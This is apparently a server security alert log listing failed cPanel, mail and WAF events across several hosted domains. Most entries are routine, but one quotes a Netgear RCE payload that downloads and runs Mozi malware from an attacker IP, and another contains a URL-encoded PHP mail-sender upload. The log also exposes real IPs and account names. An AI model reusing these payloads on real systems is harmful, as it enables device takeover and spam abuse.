country_id: 3469034
description:
Jun  8 23:28:08 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.93.165.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.76.113.104
country_id: 3175395
description:
2026-06-08 23:29:01 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [31.76.113.104]:56846: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.7.129
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6665871c0009ab706d05a80afdb56c2ed1c7036f||Title:0xe2631a17||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.93.165.22
country_id: 3469034
description:
Jun  8 23:28:16 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.93.165.22 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.5.97
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:84bd1d12e0571625d10c1921af0f6fca894ea3b0||Title:0x83ffaf55||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 14.102.226.223
country_id: 6252001
description:
14.102.226.223 - - [08/Jun/2026:23:29:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9791131&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2087&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780961365 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:14.102.226.223


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 14.102.226.223
country_id: 6252001
description:
[2026-06-08 23:29:29 +0000] info [whostmgrd] 14.102.226.223 - anadebfreenetmas "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.13.3.249
country_id: 2921044
description:
2026-06-08 23:29:48 dovecot_plain authenticator failed for H=static.249.3.13.49.clients.your-server.de (185-224-215-184.netherlands-3.vps.ac) [49.13.3.249]:10352: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.5.150
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:89b9cefb6da91ec4098957559fa9eb627973342a||Title:0xc2efb3a0||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.77.220.146
country_id: 6252001
description:
47.77.220.146 - - [08/Jun/2026:23:30:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9815702&pdata=https%253A%252F%252Fwww.crrhuemoa.org&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780961402 HTTP/2.0" 302 0 www.crrhuemoa.org "https://www.crrhuemoa.org/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36" WL:"0" "-" XFF:"47.77.220.146" CAPTCHA:"0" PEER:172.71.158.114


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.6.51
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8ef02c48812648597797d6f1c05393ac92e183c2||Title:0x7e59945e||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.238.221.52
country_id: 2464461
description:
[2026-06-08 23:29:43 +0000] info [whostmgrd] 196.238.221.52 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.4.220
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:053c9cc416097b3f17cb1f93eb15b542be880185||Title:0x84c074af||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.158.22
country_id: 2750405
description:
2026-06-08 23:29:23 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [104.28.158.22]:45035: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.5.150
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4825a2793dc33eae5ef45ca493648558c4e69bdf||Title:0xd2c46330||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.210.132.14
country_id: 1269750
description:
[2026-06-08 23:30:35 +0000] info [cpaneld] 103.210.132.14 - cafetg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.4.220
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1d06b30632ca700364649974c15f1f96186628c1||Title:0x284756a4||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316728
name: IM360 WAF: Netgear unauthenticated RCE
abuser: 202.70.139.151
country_id: 1168579
description:
IM360 WAF: Netgear unauthenticated RCE||RSV:8.15||T:APACHE||MVN:ARGS:cmd||MV:rm -rf /tmp/*;wget http://202.70.139.151:37860/Mozi.m -O /tmp/netgear;sh netgear||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 181.115.171.124
country_id: 3923057
description:
2026-06-08 23:32:44 H=([0.0.0.0]) [181.115.171.124]:7831 F=<John@4452.com> rejected RCPT <egnassingbe@golfe3.mairie.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun  8 23:33:35 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-08 23:33:37 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:29553: 535 Incorrect authentication data (set_id=iceman)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 181.115.171.124
country_id: 3923057
description:
2026-06-08 23:35:08 H=([0.0.0.0]) [181.115.171.124]:20698 F=<John@4452.com> rejected RCPT <egnassingbe@golfe3.mairie.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-08 23:35:15 +0000] info [cpaneld] 102.54.238.57 - e.carine "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.carine (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 181.115.171.124
country_id: 3923057
description:
2026-06-08 23:36:12 H=([0.0.0.0]) [181.115.171.124]:47067 F=<John@4452.com> rejected RCPT <egnassingbe@golfe3.mairie.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 181.115.171.124
country_id: 3923057
description:
2026-06-08 23:38:27 H=([0.0.0.0]) [181.115.171.124]:29794 F=<John@4452.com> rejected RCPT <egnassingbe@golfe3.mairie.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.26.243.217
country_id: 2635167
description:
[2026-06-08 23:38:37 +0000] info [cpaneld] 216.26.243.217 - whmcsadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user whmcsadmin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 150.129.21.193
country_id: 1831722
description:
[2026-06-08 23:40:48 +0000] info [cpaneld] 150.129.21.193 - kavznjyb "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kavznjyb (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-08 23:41:01 +0000] info [cpaneld] 102.54.238.57 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.58.124
country_id: 2363686
description:
[2026-06-08 23:41:23 +0000] info [webmaild] 196.171.58.124 - info@matosshop.tg "POST /cpsess5935184201/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.170.1.77] != Current IP Address [196.171.58.124]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.59.134.15
country_id: 1269750
description:
Jun  8 23:41:45 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.59.134.15 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.53.12.44
country_id: 3686110
description:
[2026-06-08 23:43:58 +0000] info [whostmgrd] 181.53.12.44 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.210.132.14
country_id: 1269750
description:
[2026-06-08 23:43:13 +0000] info [cpaneld] 103.210.132.14 - crrhuemo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 181.115.171.124
country_id: 3923057
description:
2026-06-08 23:46:51 H=([0.0.0.0]) [181.115.171.124]:43407 F=<John@4452.com> rejected RCPT <egnassingbe@golfe3.mairie.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 150.129.21.193
country_id: 1831722
description:
[2026-06-08 23:47:36 +0000] info [cpaneld] 150.129.21.193 - kavznjyb "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kavznjyb (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 168.181.229.161
country_id: 6252001
description:
168.181.229.161 - - [08/Jun/2026:23:49:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10054087&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2087&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780962548 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:168.181.229.161


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 168.181.229.161
country_id: 6252001
description:
[2026-06-08 23:49:12 +0000] info [whostmgrd] 168.181.229.161 - ttransitvoyage@gmail.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.106
country_id: 1880251
description:
47.128.122.106 - - [08/Jun/2026:23:49:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10249879&pdata=https%253A%252F%252Ftogodailynews.tg%252Fqui-peut-beneficier-de-lappui-du-pnper%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780962566 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/qui-peut-beneficier-de-lappui-du-pnper/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.106


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Earn Your Agreeable Games bonotdamvam.blogspot.ae OH||Email:abdulqadoos62700@gmail.com||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:23-50.146.19.125.71||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 117.6.178.122
country_id: 1562822
description:
2026-06-08 23:51:17 H=([117.6.178.122]) [117.6.178.122]:2452 F=<John@4452.com> rejected RCPT <netflix@emt.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.243
country_id: 1643084
description:
[2026-06-08 23:52:56 +0000] info [cpaneld] 185.213.83.243 - crepsad "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 168.181.229.161
country_id: 6252001
description:
168.181.229.161 - - [08/Jun/2026:23:53:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10185322&pdata=https%3A%2F%2Fwww.ns5.netmaster.tg%3A2087&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780962783 HTTP/1.1" 302 0 www.ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:168.181.229.161


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-08 23:53:05 +0000] info [cpaneld] 102.54.238.57 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 168.181.229.161
country_id: 6252001
description:
[2026-06-08 23:53:07 +0000] info [whostmgrd] 168.181.229.161 - 91536897 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: invalid user name specified


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 114.10.42.170
country_id: 1643084
description:
[2026-06-08 23:52:32 +0000] info [cpaneld] 114.10.42.170 - Turbolte "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Turbolte (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.93.49
country_id: 2635167
description:
[2026-06-08 23:53:34 +0000] info [cpaneld] 217.181.93.49 - rdlizssu "POST /execute/Fileman/save_file_content?dir=public_html&path=public_html&from_charset=UTF-8&content=%3C%3Fphp+%24s+%3D+%22false%22%3Bif+%28mail%28%24_COOKIE%5B%22email_send_id%22%5D%2C%22Cp+Send+%23%22.%24_COOKIE%5B%22it_id%22%5D%2C%22Cp+Send+Working+..+%23%22.%24_COOKIE%5B%22it_id%22%5D.%22%5CnHash%3A+%22.md5%28time%28%29.uniqid%28%29%29%29%29+%7B%24s+%3D+%22true%22%3B%7Decho+%24s%3B%3F%3E&file=test123Cp.php&file_name=test123Cp.php HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.228.193.68
country_id: 6252001
description:
185.228.193.68 - - [08/Jun/2026:23:53:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6473113&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2087&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780962835 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.228.193.68


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.228.193.68
country_id: 6252001
description:
[2026-06-08 23:53:59 +0000] info [whostmgrd] 185.228.193.68 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.28.162.227
country_id: 3175395
description:
104.28.162.227 - - [08/Jun/2026:23:55:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9725038&pdata=https%253A%252F%252Ftogointerim.net&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780962901 HTTP/2.0" 302 0 togointerim.net "https://togointerim.net/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.7632.6 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.28.162.227


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.28.162.227
country_id: 3175395
description:
104.28.162.227 - - [08/Jun/2026:23:56:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9867627&pdata=https%253A%252F%252Ftogosem.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780962960 HTTP/2.0" 302 0 togosem.com "https://togosem.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.7632.6 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.28.162.227


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.28.162.227
country_id: 3175395
description:
104.28.162.227 - - [08/Jun/2026:23:56:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10261095&pdata=https%253A%252F%252Ftogosem.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780962982 HTTP/2.0" 302 0 togosem.com "https://togosem.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.7632.6 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.28.162.227


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.89.246.29
country_id: 6252001
description:
47.89.246.29 - - [08/Jun/2026:23:56:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6855624&pdata=https%253A%252F%252Fwww.crrhuemoa.org&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780962992 HTTP/2.0" 302 0 www.crrhuemoa.org "https://www.crrhuemoa.org/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"47.89.246.29" CAPTCHA:"0" PEER:172.71.154.101


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 172.245.12.196
country_id: 6252001
description:
[2026-06-08 23:56:47 +0000] info [cpaneld] 172.245.12.196 NEW nxpivbcy:MptKlU3cg0Q3v2rD address=172.245.12.196,app=cpaneld,creator=nxpivbcy,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.245.217.154
country_id: 3996063
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/climat-des-affaires-suppression-des-frais-dannonce-legale/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.245.217.154
country_id: 3996063
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/climat-des-affaires-suppression-des-frais-dannonce-legale/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 187.161.105.233
country_id: 3996063
description:
2026-06-08 23:58:58 H=([187.161.105.233]) [187.161.105.233]:39702 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 187.161.105.233
country_id: 3996063
description:
2026-06-09 00:00:53 H=([187.161.105.233]) [187.161.105.233]:15034 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 141.11.173.242
country_id: 2629691
domain: carlsberg.snb.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/carlsberg.snb.tg/uploads/images/75.png HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 216.251.143.109
country_id: 6251999
description:
216.251.143.109 - - [09/Jun/2026:00:04:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7106459&pdata=https%253A%252F%252Fbawasongroup.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780963477 HTTP/2.0" 302 0 bawasongroup.com "https://bawasongroup.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:216.251.143.109


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 95.164.195.134
country_id: 6252001
description:
95.164.195.134 - - [09/Jun/2026:00:09:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9989014&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2087&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780963786 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:95.164.195.134


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.164.195.134
country_id: 6252001
description:
[2026-06-09 00:09:49 +0000] info [whostmgrd] 95.164.195.134 - Turblote "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 95.164.195.51
country_id: 6252001
description:
95.164.195.51 - - [09/Jun/2026:00:11:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9816940&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2087&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780963912 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:95.164.195.51


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.164.195.51
country_id: 6252001
description:
[2026-06-09 00:11:55 +0000] info [whostmgrd] 95.164.195.51 - c1565738c "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 95.164.195.20
country_id: 6252001
description:
95.164.195.20 - - [09/Jun/2026:00:13:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10130532&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2087&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780963992 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:95.164.195.20


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.164.195.20
country_id: 6252001
description:
[2026-06-09 00:13:15 +0000] info [whostmgrd] 95.164.195.20 - net_7210 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.120.158.248
country_id: 3017382
description:
2026-06-09 00:17:02 dovecot_plain authenticator failed for H=([10.186.221.174]) [37.120.158.248]:49675: 535 Incorrect authentication data (set_id=support@mesyscom.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.120.158.248
country_id: 3017382
description:
2026-06-09 00:18:18 dovecot_plain authenticator failed for H=([10.186.221.174]) [37.120.158.248]:60506: 535 Incorrect authentication data (set_id=support@mesyscom.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 72.206.74.126
country_id: 6252001
description:
Jun  9 00:18:23 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 72.206.74.126 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 209.50.189.3
country_id: 3017382
description:
[2026-06-09 00:20:45 +0000] info [cpaneld] 209.50.189.3 - stephane "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user stephane (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.120.158.248
country_id: 3017382
description:
2026-06-09 00:20:11 dovecot_plain authenticator failed for H=([10.186.221.174]) [37.120.158.248]:63966: 535 Incorrect authentication data (set_id=supports@mesyscom.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 78.36.70.54
country_id: 2017370
description:
[2026-06-09 00:22:47 +0000] info [whostmgrd] 78.36.70.54 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 143.255.104.196
country_id: 3895114
description:
[2026-06-09 00:23:09 +0000] info [whostmgrd] 143.255.104.196 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.118.35.91
country_id: 798544
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/backup.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.118.35.91
country_id: 798544
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/site_backup.sql||User:antasadmin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 97.74.94.186
country_id: 6252001
description:
2026-06-09 00:25:55 dovecot_login authenticator failed for H=186.94.74.97.host.secureserver.net (ADMIN) [97.74.94.186]:47762: 535 Incorrect authentication data (set_id=netflix@emt.tg)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.118.35.91
country_id: 798544
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/archives.sql||User:antasadmin||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 138.36.94.143
country_id: 6252001
description:
